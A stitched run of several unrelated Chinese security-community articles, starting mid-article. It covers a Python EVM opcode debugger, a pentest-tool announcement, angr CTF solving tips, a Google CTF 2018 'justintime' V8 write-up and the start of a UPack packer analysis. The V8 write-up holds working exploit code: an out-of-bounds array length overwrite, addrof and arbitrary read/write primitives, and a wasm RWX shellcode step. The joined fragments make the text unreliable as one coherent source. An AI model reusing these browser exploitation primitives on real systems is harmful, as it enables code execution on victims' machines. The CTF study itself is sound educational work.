return self.mem[key: key+length]
def extend(self, num: int):
"""
extend mem space
"""
self.mem.extend(bytearray(256*num))
使用python3中的`bytearray`类型作为MEM的结构，默认初始化256B的内存空间，因为有一个OPCODE是`MSIZE`:
> Get the size of active memory in bytes.
所以每次设置内存值时，都要计算`active memory`的size
内存相关设置的指令分为三类
1. MSTORE, 储存0x20字节长度的数据到内存中
2. MSTORE8, 储存1字节长度的数据到内存中
3. CALLDATACOPY(或者其他类似指令)，储存指定字节长度的数据到内存中
所以对应的设置了3个不同的储存数据到内存中的函数。获取内存数据的类似。
#### STORAGE
EVM的STORAGE的数据结构和计算机的磁盘储存结构相差就很大了，STORAGE是用来储存全局变量的，全局变量的数据结构我在上一篇文章中分析过，所以在用Python实现中，我把STORAGE定义为了字典，相关代码如下:
class STORAGE(Base):
"""
EVM storage
"""
storage: {str: int}
max: int
def __init__(self, data):
self.storage = data
self.max = 2**256
@Base.storagecheck
def set(self, key: str, value: int):
self.storage[key] = value % self.max
@Base.storagecheck
def get(self, key: str) -> (int):
return self.storage[key]
因为EVM中操作STORAGE的相关指令只有`SSTORE`和`SLOAD`，所以使用python的dict类型作为STORAGE的结构最为合适
### 解析OPCODE指令
对于OPCODE指令的解析难度不是很大，指令只占一个字节，所以EVM的指令最多也就256个指令(`0x00-0xff`)，但是有很多都是处于`UNUSE`，所以以后智能合约增加新指令后，调试器也要进行更新，因此现在写的代码需要具备可扩展性。虽然解析指令的难度不大，但是仍然是个体力活，下面先来看看OPCODE的分类
#### OPCODE分类
在以太坊官方黄皮书中，对OPCODE进行了相应的分类:
> 0s: Stop and Arithmetic Operations (从0x00-0x0f的指令类型是STOP指令加上算术指令)
>
> 10s: Comparison & Bitwise Logic Operations (0x10-0x1f的指令是比较指令和比特位逻辑指令)
>
> 20s: SHA3 (目前0x20-0x2f只有一个SHA3指令)
>
> 30s: Environmental Information (0x30-0x3f是获取环境信息的指令)
>
> 40s: Block Information (0x40-0x4f是获取区块信息的指令)
>
> 50s: Stack, Memory, Storage and Flow Operations
> (0x40-0x4f是获取栈、内存、储存信息的指令和流指令(跳转指令))
>
> 60s & 70s: Push Operations (0x60-0x7f是32个PUSH指令，PUSH1-PUSH32)
>
> 80s: Duplication Operations (0x80-0x8f属于DUP1-DUP16指令)
>
> 90s: Exchange Operations (0x90-0x9f属于SWAP1-SWAP16指令)
>
> a0s: Logging Operations (0xa0-0xa4属于LOG0-LOG4指令)
>
> f0s: System operations (0xf0-0xff属于系统操作指令)
#### 设计可扩展的解释器
首先，设计一个字节和指令的映射表:
import typing
class OpCode(typing.NamedTuple):
name: str
removed: int # 参数个数
args: int # PUSH根据该参数获取opcode之后args字节的值作为PUSH的参数
_OPCODES = {
'00': OpCode(name = 'STOP', removed = 0, args = 0),
......
}
for i in range(96, 128):
_OPCODES[hex(i)[2:]] = OpCode(name='PUSH' + str(i - 95), removed=0, args=i-95)
......
# 因为编译器优化的问题，OPCODE中会出现许多执行不到的，UNUSE的指令，为防止解析失败，还要对UNUSE的进行处理
for i in range(0, 256):
if not _OPCODES.get(hex(i)[2:].zfill(2)):
_OPCODES[hex(i)[2:].zfill(2)] = OpCode('UNUSE', 0, 0)
然后就是设计一个解释器类:
class Interpreter:
"""
EVM Interpreter
"""
MAX = 2**256
over = 1
store: EVMIO
#############
# 0s: Stop and Arithmetic Operations
#############
@staticmethod
def STOP():
"""
OPCODE: 0x00
"""
Interpreter.over = 1
print("========Program STOP=========")
@staticmethod
def ADD(x:int, y:int):
"""
OPCODE: 0x01
"""
r = (x + y) % Interpreter.MAX
Interpreter.store.stack.push(r)
......
* MAX变量用来控制计算的结果在256bits的范围内
* over变量用来标识程序是否执行结束
* store用来访问runtime变量: STACK, MEM, STORAGE
在这种设计模式下，当解释响应的OPCODE，可以直接使用
args = [stack.pop() for _ in OpCode.removed]
getattr(Interpreter, OpCode.name)(*args)
#### 特殊指令的处理思路
在OPCODE中有几类特殊的指令:
##### 1\. 获取区块信息的指令，比如:
> NUMBER: Get the block’s number
该指令是获取当前交易打包进的区块的区块数(区块高度)，解决这个指令有几种方案:
* 设置默认值
* 设置一个配置文件，在配置文件中设置该指令的返回值
* 调试者手动利用调试器设置该值
* 设置RPC地址，从区块链中获取该值
文章的开头提过了对我编写的调试器的定位问题，也正是因为遇到该类的指令，才去思考调试器的定位。既然已经打包进了区块，说明是有交易地址的，既然有交易地址，那完全可以使用Remix的调试器进行调试。
所以对我编写的调试器有了离线调试器的定位，采用上述方法中的前三个方法，优先级由高到低分别是，手动设置>配置文件设置>默认设置
##### 2\. 获取环境信息指令，比如:
> ADDRESS: Get address of currently executing account.
获取当前合约的地址，解决方案如下:
* 设置默认值
* 设置一个配置文件，在配置文件中设置该指令的返回值
* 调试者手动利用调试器设置该值
获取环境信息的指令，因为调试的是OPCODE，没有源码，不需要部署，所以是没法通过RPC获取到的，只能由调试者手动设置
##### 3\. 日志指令
> LOG0-LOG4: Append log record with no topics.
把日志信息添加到交易的回执单中
> eth.getTransactionReceipt("0xe32b3751a3016e6fa5644e59cd3b5072f33f27f10242c74980409b637dbb3bdc")
{
blockHash: "0x04b838576b0c3e44ece7279b3b709e336a58be5786a83a6cf27b4173ce317ad3",
blockNumber: 6068600,
contractAddress: null,
cumulativeGasUsed: 7171992,
from: "0x915d631d71efb2b20ad1773728f12f76eeeeee23",
gasUsed: 81100,
logs: [],
logsBloom: "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
status: "0x1",
to: "0xd1ceeeefa68a6af0a5f6046132d986066c7f9426",
transactionHash: "0xe32b3751a3016e6fa5644e59cd3b5072f33f27f10242c74980409b637dbb3bdc",
transactionIndex: 150
}
上述就是获取一个交易的回执单，其中有一个`logs`列表，就是用来储存日志信息
既然是在调试OPCODE，那么记录日志的操作就是没有必要的，因为调试的过程中能看到储存器/参数的情况，所以对于这类指令的操作，完全可以直接输出，或者不做任何处理(直接pass)
##### 4\. 系统操作指令
这类指令主要是外部调用相关的指令，比如可以创建合约的`CREATE`, 比如能调用其他合约的`CALL`,
比如销毁自身，并把余额全部转给别人的`SELFDESTRUCT`
这类的指令我认为的解决办法只有: 调试者手动利用调试器设置该指令的返回值
调用这类函数的时候，我们完全能看到详细的参数值，所以完全可以手动的进行创建合约，调用合约等操作
## 总结
在完成一个OPCODE的解释器后，一个调试器就算完成了`3/4`, 剩下的工作就是实现自己想实现的调试器功能，比如下断点，查看栈内存储存数据等
下面放一个接近成品的演示gif图:
* * *
**智能合约审计服务**
针对目前主流的以太坊应用，知道创宇提供专业权威的智能合约审计服务，规避因合约安全问题导致的财产损失，为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队： https://www.scanv.com/lca/index.html
联系电话：(086) 136 8133 5016(沈经理，工作日:10:00-18:00)
欢迎扫码咨询：
**区块链行业安全解决方案**
黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵，给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验，凭借多重防护+云端大数据技术，为区块链应用提供专属安全解决方案。
欢迎扫码咨询：
* * * | 社区文章 |
记得我第一次来先知的时候，看到许多熟悉的ID,感到激动万分，无奈现在大牛们都消失了，社区氛围也没有了当时的那种感觉，未来与君共勉吧！
今天发布的这款工具是当时我用着TangScan，觉得不爽，就随便改改，不料越改越大,就成了今天这个模样了。
我把工具定义为轻量级渗透测试框架，因为框架也是插件式的，扩展性好，大家可以自己定义脚本，具体的可以参考github的wiki,我的wiki写的不行，凑合着看吧，还有就是大家有什么好的想法，BUG或者自己写了插件和新的功能脚本，欢迎骚扰。
PS: 本人太懒，所以相关文档就不写了，哈哈！
github :<https://github.com/hucmosin/purelove> | 社区文章 |
# 前言
>
> 我们时常会遇到各种平台下的程序，有时我们为了搭一个动态调试的环境需要耗费不少的时间，更有甚者无功而返，那么这时不妨用angr试试，毕竟多一分尝试，多一分希望。
## 如何跨平台使用angr解题
通常来说，我们会在linux下安装angr框架，那么如果遇到不是linux的程序该怎么办呢？程序无法运行还能使用angr解决么！答案当然是可以。因为angr是符号执行框架，不是真正的在执行程序。我们只需要进行正确的条件设置就可以了。
### ARM程序
这里以 `android_arm_license_validation`为例
最关键的是设置合理的初始状态，从IDA的分析来看，最后的比较部分在`sub_1760`函数，因此我们以此作为初始状态，同时看到该函数有一个`v6`参数，经过分析，可以知道该参数经过加密变换，最终用来校验的字符串，也就是说最后的校验过程我们可以不用了解，只需要使用angr将其爆破出来即可。
我们需要设置一个空的状态
`state = b.factory.blank_state(addr=0x401760)`
而后设置需要传入的参数，选取任意一个地址，用来存放变量。
>>> concrete_addr = 0xfff00000
>>> code = claripy.BVS('code', 10*8)
>>> state.memory.store(concrete_addr, code, endness='Iend_BE')
注意`ARM`程序是大端对齐。
为了正确的传入参数，我们需要了解`arm`程序传参方式。
[参考文章](https://blog.csdn.net/celerychen2009/article/details/4761514)
因此我们设置`r0`为输入的地址
`state.regs.r0 = concrete_addr`
后面就是类似的。
当然如果，加密过程也同样非常复杂，那么我们就需要从加密函数开始，设置好参数，利用angr符号执行。
## windows dll
这里以`mma_howtouse`为例
程序是windows的dll，如果采用正常的方式解题，那么搭建动态调试的环境势必要花费一番功夫。
IDA载入，首先我们应该注意的是`dll`程序的基址是`0x10000000`，而不是`0x400000`。
通过导出表，我们可以定位到`fnhowtouse`函数，进行了`handler`的绑定，然后通过`(*(&v2 + a1))();`进行函数调用。
为了调用`fnhowtouse`函数,可以使用`callable`方法
首先加载`howtouse.dll`
p = angr.Project('howtouse.dll', load_options={'main_opts': {'base_addr': 0x10000000}})
howtouse = p.factory.callable(0x10001130)
通过`callable`方法将`fnhowtouse`转化为python可以调用的函数
然后我们便可以通过`howtouse(i)`进行函数调用，而无需依赖环境。通过题目，我们可以知道`howtouse(i)`结果就是flag，因此我们可以通过
claripy.backends.concrete.convert(howtouse(i))
将结果转换为`BVV`类型，并通过`.value`将值取出。
因此代码可以如下进行组织：
getch = lambda i: chr(claripy.backends.concrete.convert(howtouse(i)).value)
# Let's call this 45 times, and that's the result!
return ''.join(getch(i) for i in range(45))
## windows驱动
这里以`flareon2015_10`为例
程序是windows驱动，2.5M还是蛮大的，IDA载入分析。
What！这次又是个什么鬼图形，感觉出题人都要玩出花了。当然啦，angr最喜欢解决这种线性的题目了。
首先程序的入口。
可以知道`sub_29cd20`是有用的函数
好吧。
挨个查看一下，发现一个可疑的`case`
话说这程序导致我的IDA都有点不正常了。
接下来查看`sub_2D2E0`函数
真漂亮，还好不是在比赛的时候遇到这种题目。。
我仔细盘了一下代码。还真有趣。
看到`sub_13590`函数
一百多行代码，F5之后就两行。
`sub_2D2E0`函数的前半部分都在为`0x29F210`地址的数据赋值
只有在最后几行，调用了`sub_110F0`函数，并传入了`byte_29F210`和`edx`，`ecx`作为参数
查一下`edx`对应`[ebp+var_3C]`的交叉引用，可以知道长度为40
查一下`edx`对应`[ebp+var_30]`的交叉引用可以知道`key`
具体查看`sub_110F0`函数，这回比较正常
查看`sub_11010`函数
很明显是一个不太标准的`Tea`解密函数。
在查`sub_110F0`的交叉引用时，发现还有其他几个地方引用了该函数，不过我仔细查看了一下，这三个地方引用`sub_110F0`函数都是对相同的数据进行解密，只是数据存放的位置不同罢了。所以也就先不去关心了。
所以把数据`dump`下来，解密就可以了。
代码如下：
void decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
uint32_t delta=0x61C88647; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum += delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
}
int main()
{
uint32_t k[4]={858927408,926299444,1111570744,1178944579};
uint32_t v0[] = {0xfadc7f56,0xc49927aa};
uint32_t v1[] = {0x92cf7c6c,0x1a476161};
uint32_t v2[] = {0xfd63b919,0x20b6f20c};
uint32_t v3[] = {0xfd5c2dc0,0x965471d9};
uint32_t v4[] = {0xfff7434f,0x315d4cbb};
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥，为4个32位无符号整数，即密钥长度为128位
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
decrypt(v0,k);
decrypt(v1,k);
decrypt(v2,k);
decrypt(v3,k);
decrypt(v4,k);
char *flag;
sprintf(flag,"%x%x%x%x%x%x%x%x%x%x",v0[0],v0[1],v1[0],v1[1],v2[0],v2[1],v3[0],v3[1],v4[0],v4[1]);
printf("%s",flag);
return 0;
}
最后的结果需要转换一下。
再让我们看看如何使用angr的hook来完成解密工作。
大致思路，就是在程序调用解密函数前，将对应的数据存放到相应的位置即可。
因此我们的Hook函数可以这么写
def before_tea_decrypt(state):
# Here we want to set the value of the byte array starting from 0x29f210
# I got those bytes by using cross-reference in IDA
all_bytes = bytes([0x56, 0x7f, 0xdc, 0xfa, 0xaa, 0x27, 0x99, 0xc4, 0x6c, 0x7c,
0xfc, 0x92, 0x61, 0x61, 0x47, 0x1a, 0x19, 0xb9, 0x63, 0xfd,
0xc, 0xf2, 0xb6, 0x20, 0xc0, 0x2d, 0x5c, 0xfd, 0xd9, 0x71,
0x54, 0x96, 0x4f, 0x43, 0xf7, 0xff, 0xbb, 0x4c, 0x5d, 0x31])
state.memory.store(ARRAY_ADDRESS, all_bytes)
这时hook的长度应该为0
`p.hook(0xadc31, before_tea_decrypt, length=0)`,有点类似于插桩
我们不会运行该程序，而是选取有用的部分运行。
我们只需要运行`2D2E0`函数即可。
这时需要用到`callable`方法：
它是将程序的二进制函数，变成像python本地的函数一样调用。
如下初始化
proc_big_68 = p.factory.callable(0x2D2E0, cc=p.factory.cc(func_ty=prototype), toc=None, concrete_only=True)
其中`prototype`是函数原型的申明
可以像这样声明：
`prototype = SimTypeFunction((SimTypeInt(False),), SimTypeInt(False))`
因此完整的`callable`调用如下
# Declare the prototype of the target function
prototype = SimTypeFunction((SimTypeInt(False),), SimTypeInt(False))
# Initialize the function instance
proc_big_68 = p.factory.callable(BIG_PROC, cc=p.factory.cc(func_ty=prototype), toc=None, concrete_only=True)
# Call the function and get the final state
proc_big_68.perform_call(0)
state = proc_big_68.result_state
最后我们可以通过`state.solver.eval(state.memory.load(ARRAY_ADDRESS, 40),
cast_to=bytes)`获取flag
> 如果学会了，是不是非常简单呢
# 总结
对于跨平台的程序，最重要的了解该平台调用约定，需要对程序的运行有所了解。 | 社区文章 |
# Google CTF justintime
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
文章可能有些部分写的不好,希望师傅们批评指正
## 0 环境搭建
具体的题目下载
<https://storage.googleapis.com/gctf-2018-attachments/cd70a91783899292a28926fb9ac3a9d95821560844f2bd43011a5fbf04601a52>
解压之后得到上面的文件
打开chrome查看一下v8的版本
v8的版本是7.0.276.3
#### 方法 1
刚开始想要使用git reset hard的方式还原,但是找不到对应版本的hash值,后来想到可以在下面的网站找
<https://chromium.googlesource.com/v8/v8.git/>
找到对应的hash值并还原
回退到相应的版本后,进行patch(题目下发的patch文件)
patch 这里遇到了一个问题,就是直接使用脚本patch不进去,所以手动将脚本中的代码贴到相应的文件中
使用ninja进行编译
#### 方法 2
另外还在一个师傅的github上找到了编译好的debug 和 release版的v8 , 可以直接下载
<https://github.com/JeremyFetiveau/pwn-just-in-time-exploit>
**~~但是后期用这个版本调试的时候出现了点问题~~**
#### 方法 3
同时也可以使用博客上的build.sh文件
<https://github.com/google/google-ctf/tree/master/2018/finals/pwn-just-in-time>
简单分析一下build.sh文件
fetch --nohooks chromium
cd src
build/install-build-deps.sh
gclient runhooks
# https://www.chromium.org/developers/how-tos/get-the-code/working-with-release-branches
git fetch --tags
git checkout tags/70.0.3538.9
gclient sync
gn gen out/Default
echo << EOF
Please set the following args:
> use_jumbo_build=true
> enable_nacl=false
> remove_webcore_debug_symbols=true
> use_goma = true # for googlers
> is_debug = false
EOF
gn args out/Default
git apply ../attachments/nosandbox.patch
pushd v8
git apply ../attachments/addition-reducer.patch
popd
autoninja -C out/Default chrome
相关的build文件和patch文件可以从下面的链接下载
<https://github.com/google/google-ctf/tree/master/2018/finals/pwn-just-in-time>
这里的build.sh需要根据自己的路径进行修改
上述的搭建过程可能要proxy
## 1 背景知识
#### 1.0 v8 浮点数表示
参考:
<https://en.wikipedia.org/wiki/IEEE_754>
<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER>
v8用double表示浮点数
分为符号位S 指数位(EXP) 有效数位(Fraction) 分别为1位 11位 52位
浮点数所能表示的最大值就是将所有的有效数位填满, 一共是53位(转化方式如下图),1111……1 , 值为2^53 – 1 =
9007199254740991. 对应的浮点数0x433fffffffffffff
因为9007199254740991=11……1b（53位）=1.111……1b*2^52,指数位Exp=1023+52=1075=10000110011b，符号位S为0。
有效数位只有52位,当超过9007199254740991值时,比如9007199254740992,会在有效数位上加1导致溢出,失去精度,其二进制表示为1.0*2^53,由于只有52位,会舍弃最后的一个bit.
同理 参靠de4dcr0w的表格
图中红框里面的都会被舍弃
#### 1.1 解题思路
本题给的是一个chrome,我们首先要找到其v8版本,进行调试,之后在攻击chrome
获取v8版本的方式,打开浏览器,地址栏输入chrome://version
## 2 漏洞分析
#### 2.0 patch分析
题目中给了一个patch文件,引入了一些优化
本部分参考了 JeremyFetiveau师傅 sakura师傅 与 Nevv师傅的解释,三位师傅解释的很清楚了,膜拜一波,笔者本部分根据两者进行的理解
具体增加的函数代码如下
Reduction DuplicateAdditionReducer::Reduce(Node* node) {
switch (node->opcode()) {
case IrOpcode::kNumberAdd:
return ReduceAddition(node);
default:
return NoChange();
}
}
Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
DCHECK_EQ(node->op()->ControlInputCount(), 0);
DCHECK_EQ(node->op()->EffectInputCount(), 0);
DCHECK_EQ(node->op()->ValueInputCount(), 2);
Node* left = NodeProperties::GetValueInput(node, 0);
if (left->opcode() != node->opcode()) {
return NoChange(); // [1]
}
Node* right = NodeProperties::GetValueInput(node, 1);
if (right->opcode() != IrOpcode::kNumberConstant) {
return NoChange(); // [2]
}
Node* parent_left = NodeProperties::GetValueInput(left, 0);
Node* parent_right = NodeProperties::GetValueInput(left, 1);
if (parent_right->opcode() != IrOpcode::kNumberConstant) {
return NoChange(); // [3]
}
double const1 = OpParameter<double>(right->op());
double const2 = OpParameter<double>(parent_right->op());
Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
NodeProperties::ReplaceValueInput(node, parent_left, 0);
NodeProperties::ReplaceValueInput(node, new_const, 1);
return Changed(node); // [4]
}
上面的增加的patch代码是在进行NumberAdd的时候产生的优化.我们有4个不同的代码路径(请阅读代码注释)。其中只有一个会导致节点更改。让我们画一个表示所有这些情况的模式。红色的节点表示它们不满足条件，导致返回NoChange。
case4表示的也就是 x+a+b ， a和b都是Number常量的情况.优化后，会把左边的 a 和 b 相加，相加后的结果替换原有 NumberAdd
右边的NumberConstant，
但是实际情况下
#### 2.1 POC尝试与优化图解
首先针对上面的浮点数背景知识介绍做个test
这是因为有效数位的最后一位被忽视省略了,两个浮点数实际在内存中是一样的.
之后尝试写了一下POC
function foo(x)
{
let a = [1.0,1.1,1.2,1.3,1.4];
let temp = (x == 'oob') ? Number.MAX_SAFE_INTEGER+4 : Number.MAX_SAFE_INTEGER+1;
let tmp = temp + 1 + 1;//trigger optimitisc
let idx = tmp - (Number.MAX_SAFE_INTEGER+1);
return idx;
}
console.log(foo('oob'));
console.log(foo(''));
%OptimizeFunctionOnNextCall(foo);
console.log(foo('oob'));
运行结果如下
可以看到最后输出了idx 为6 ,但是数组长度总共只有5, 看一下产生的优化图
这里可以看到右边的constant节点2
下面可以看到优化的时候,数组下标范围是(0,4),并且没有了checkbound节点
但是根据上面的POC,真正编译计算的时候却是可以到达下标6的,所以导致了数组溢出
sakura师傅的[POC](https://xz.aliyun.com/t/3348#toc-1)中对优化过程写的很清楚
function foo(doit) {
let a = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
let x = doit ? 9007199254740992 : 9007199254740991-2;
x += 1;
// #29:NumberConstant[1]() [Type: Range(1, 1)]
// #30:SpeculativeNumberAdd[Number](#25:Phi, #29:NumberConstant, #26:Checkpoint, #23:Merge) [Type: Range(9007199254740990, 9007199254740992)]
x += 1;
// #29:NumberConstant[1]() [Type: Range(1, 1)]
// #31:SpeculativeNumberAdd[Number](#30:SpeculativeNumberAdd, #29:NumberConstant, #30:SpeculativeNumberAdd, #23:Merge) [Type: Range(9007199254740991, 9007199254740992)]
x -= 9007199254740991;//解释:range(0,1);编译:(0,3);
// #32:NumberConstant[9.0072e+15]() [Type: Range(9007199254740991, 9007199254740991)]
// #33:SpeculativeNumberSubtract[Number](#31:SpeculativeNumberAdd, #32:NumberConstant, #31:SpeculativeNumberAdd, #23:Merge) [Type: Range(0, 1)]
x *= 3;//解释:(0,3);编译:(0,9);
// #34:NumberConstant[3]() [Type: Range(3, 3)]
// #35:SpeculativeNumberMultiply[Number](#33:SpeculativeNumberSubtract, #34:NumberConstant, #33:SpeculativeNumberSubtract, #23:Merge) [Type: Range(0, 3)]
x += 2;//解释:(2,5);编译:(2,11);
// #36:NumberConstant[2]() [Type: Range(2, 2)]
// #37:SpeculativeNumberAdd[Number](#35:SpeculativeNumberMultiply, #36:NumberConstant, #35:SpeculativeNumberMultiply, #23:Merge) [Type: Range(2, 5)]
a[x] = 2.1729236899484e-311; // (1024).smi2f()
}
for (var i = 0; i < 100000; i++){
foo(true);
}
所以根据上面的分析,我们可以实现一个数组越界
## 3 尝试利用
#### 3.0 改变数组大小导致越界
数组a 是越界数组
obj 和 ABUF是一会利用是用到的
根据数组length的位置,确定我们脚本中要修改的index
根据这个idx可以去调整上面脚本中idax的形成过程,加或者乘来达到修改数组大小的效果
修改数组大小的部分脚本如下
/*************************************************************
* File Name: m_exp.js
*
* Created on:
* Author:
*
* Last Modified:
* Description: exp for just in time game in google ctf 2018 final
************************************************************/
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
const MAX_ITERATIONS = 10000;
class convert
{
constructor()
{
this.buf=new ArrayBuffer(8)
this.uint8array=new Uint8Array(this.buf);
this.float64array=new Float64Array(this.buf);
this.uint32array=new Uint32Array(this.buf);
this.bitint=new BigUint64Array(this.buf);
}
f2i(x)//float64 ==> uint64
{
this.float64array[0]=x;
return this.bitint[0];
}
i2f(x)
{
this.bitint[0]=BigInt(x);
return this.float64array[0];
}
}
let conv = new convert();
//oob array
let oob = undefined;
let obj = [];
let ABUF = [];
function foo(x)
{
let a = [1.0,1.1,1.2,1.3,1.4,1.5,1.6,1.7,1.8];//change idx
// %DebugPrint(a);
// %SystemBreak();
let b = (x == 'oob') ? Number.MAX_SAFE_INTEGER+5:Number.MAX_SAFE_INTEGER+1;
let tmp = b + 1 + 1 // triger
let idx = tmp - (Number.MAX_SAFE_INTEGER+1);//opi (0,6)
idx = idx*2;
// idx += 2;
a[idx] = 1.74512933848984e-310;//conv.i2f(0x202000000000);
return a
}//why???
foo("oob");
foo("");
for(let i=0; i<MAX_ITERATIONS; i++)
{
foo("")
}
oob = foo("oob");
console.log("[+] oobArray's length changed to 0x" + hex(oob.length));
// %DebugPrint(oob);
// %SystemBreak();
obj.push({mark:conv.i2f(0x41414141),obj:{}});
ABUF.push(new ArrayBuffer(0x41));
%DebugPrint(oob);
%DebugPrint(obj);
%DebugPrint(ABUF);
for(let i=0;i<0x10;i++)
{
new Array(0x1000000);
}//why???
let off_obj = 0;
for(let i=0;i<2020;i++)
{
let temp = conv.f2i(oob[i]);
if(temp == 0x41414141)
{
off_obj = i+1;
break;
}
}
console.log("[+] off_obj @"+off_obj);
let back_off = 0;
for(let i=0;i<2020;i++)
{
let tmp = conv.f2i(oob[i]);
if(tmp == 0x41)
{
oob[i] = conv.i2f(0x8);//length
back_off = i+1;
break;
}
}
console.log("[+] back_off @"+back_off);
// CSA_ASSERT failed: IsOffsetInBounds( offset, LoadAndUntagFixedArrayBaseLength(object),
// FixedDoubleArray::kHeaderSize, HOLEY_DOUBLE_ELEMENTS) [../../src/code-stub-assembler.cc:2389]这行说明debug模式下,存在数组越界的check,如果想继续调试要想办法绕过
%SystemBreak();
#### 3.1 构造任意读写原语与取地址
这个在上一篇文章的[背景知识](https://www.anquanke.com/post/id/214020)中写过了,这里不再赘述
这部分的脚本如下
var off_obj = 0;
for(let i=0;i<200;i++)
{
let temp = conv.f2i(oob[i]);
if(temp == 0x11111111)
{
off_obj = i+1;
break;
}
}
console.log("[+] off_obj @"+off_obj);
// %SystemBreak();
// readline();
var back_off = 0;
for(let i=0;i<500;i++)
{
let tmp = conv.f2i(oob[i]);
if(tmp == 0x200)
{
//oob[i] = conv.i2f(0x8);//length
back_off = i+1;
break;
}
}
console.log("[+] back_off @"+back_off);
// CSA_ASSERT failed: IsOffsetInBounds( offset, LoadAndUntagFixedArrayBaseLength(object),
// FixedDoubleArray::kHeaderSize, HOLEY_DOUBLE_ELEMENTS) [../../src/code-stub-assembler.cc:2389]
let dataView = new DataView(ABUF[ABUF.length-1]);
function addrof(x)
{
obj[0].n = x;
return conv.f2i(oob[off_obj]);
}
function abread(addr)
{
oob[back_off] = conv.i2f(addr);
// let bigint = new BigUint64Array(ABUF);
// return bigint[0];
return conv.f2i(dataView.getFloat64(0,true));
}
function abwrite(addr,payload)
{
oob[back_off] = conv.i2f(addr);
for(let i=0; i<payload.length; i++) {
dataView.setUint8(i, payload[i]);
}
}
function dataview_write(addr, payload)
{
oob[back_off] = conv.i2f(addr);
for(let i=0; i<payload.length; i++) {
dataView.setUint8(i, payload[i]);
}
return ;
}
下面两张图用来核对obj对象位置
可以看到笔者脚本中设置的obj对象
addrof函数,就是将上图中0x41414141的位置换成我们写入的地址(暂时不知道的脚本对象),再通过oob数组得到地址
#### 3.2 弹出计算器
[同理利用上一次的方法wasm](https://www.anquanke.com/post/id/214020)
创建RWX段
利用addrof原语找到这个段落
使用backstore读写这个地址
下面是笔者调试时候的信息
根据DebugPrint的信息可知道我们的RWX段地址基本上没有错误
最终效果
## 4 遇到的问题
当回退版本号的时候遇到了问题
网上有一些说…但是问题没有解决
后来突然想到应该跟hash值,但是从网上没有找到对应的hash值
最后回到ctf-time上,下载了相应的版本
每次gclient sync的时候都会在wasm git clone的时候断掉
原因是因为gclient sync的时候网速不行,有时断掉,换个梯子就好了
编译时遇到的问题
这个重启了一下解决了,但是具体原因没有搜到
补丁死活打不上…..
最后手动将补丁中的代码复制到相关的文件中
在debug模式下崩溃了,调试不了,在release模式调试下触发漏洞失败,但是不调试的时候可以正常跑起来
这个是debug版本有越界检查,可以根据错误修改源码中的检查重新编译debug版本
笔者之所以碰到上面的问题,是在找RWX段是寻址错了(下图),想要具体找寻原因,然后就遇上了上面调试不了的情况,后来发现是addrof原语写错了,下面就顺利的改了Exp,但是上面这个release版本下漏洞触发失败的问题还需师傅们指点.
~~**release版本为什么直接触发不了暂时没有想到,**~~
最后一步写shellcode的时候出现了下面的问题
改了下面的大小(0x200)就好
## 5 参考
<https://github.com/ray-cp/browser_pwn/tree/master/v8_pwn/google-ctf2018-final-just-in-time>
<https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/#preparing-turbolizer>
<https://xz.aliyun.com/t/3348#toc-1>
<https://www.jianshu.com/p/db78899fcd5f> | 社区文章 |
# 概述：
UPack（Ultimate
Pack）是一种运行时压缩器，经过UPack压缩后的PE文件的文件头会出现非常奇怪的变形，这种变形会导致许多PE装载器和PE模板浏览器都无法正确的解析它的结构。后来UPack被广泛用于压缩病毒，木马，恶意代码等，由于许多情况下无法被作为PE文件进行解析，所以在当时可以绕过许多杀毒软件，现在基本上所有的杀毒软件都将UPack压缩的文件识别为恶意文件。
在调试一个UPack压缩的PE文件时要注意在杀毒软件中设置信任或者先暂时关闭杀毒软件，本篇文章的调试使用Windows
XP下的notepad.exe进行分析。
# 运行时压缩器：
概述中讲到UPack是一种运行时压缩器，那么什么是运行时压缩器？这里简单讲一下：
我们平时用到的诸如7z、WinRAR等都属于是普通压缩器，这种压缩器压缩后的文件是无法执行的而且基本上都有自己独特的后缀，但是运行时压缩器压缩后的PE文件是可以直接运行的，被压缩的程序在进入内存的瞬间会被程序中自带的解压代码解压出来放入内存并正常执行。
所以运行时压缩器和普通压缩器的最大区别就在于被压缩后的文件是否可以直接执行。
# 分析UPack压缩后的文件头：
对于一个PE文件来说最重要的部分就是文件头，那么我们先使用UPack压缩器将notepad.exe进行压缩处理，得到一个notepad_packed.exe，之后使用十六进制文件编辑器将这个压缩后的PE文件打开（这里使用的是010Editor）：
我的010editor使用了PE的模块化工具，再打开PE时会按照PE的标准格式进行解析，但是在打开压缩后的notepad.exe时发现它解析失败了，010editor的模块工具是无法正常识别这个压缩后的PE文件的，所以我们需要一个功能更强大的PE解析器：Stud_PE（下载链接放在文末）。下面使用Stud_PE来看一下这个变形的PE头
## 正常PE头与变形PE头的比较：
Stud_PE初步解析出了这个变形的PE文件头，可以看见一些非常奇怪的信息：
File Header的可选头大小变成了0x148。
节区头数量变为了0xA，这些都与正常的PE头相去甚远，下面来看看正常的notepad.exe的文件头：
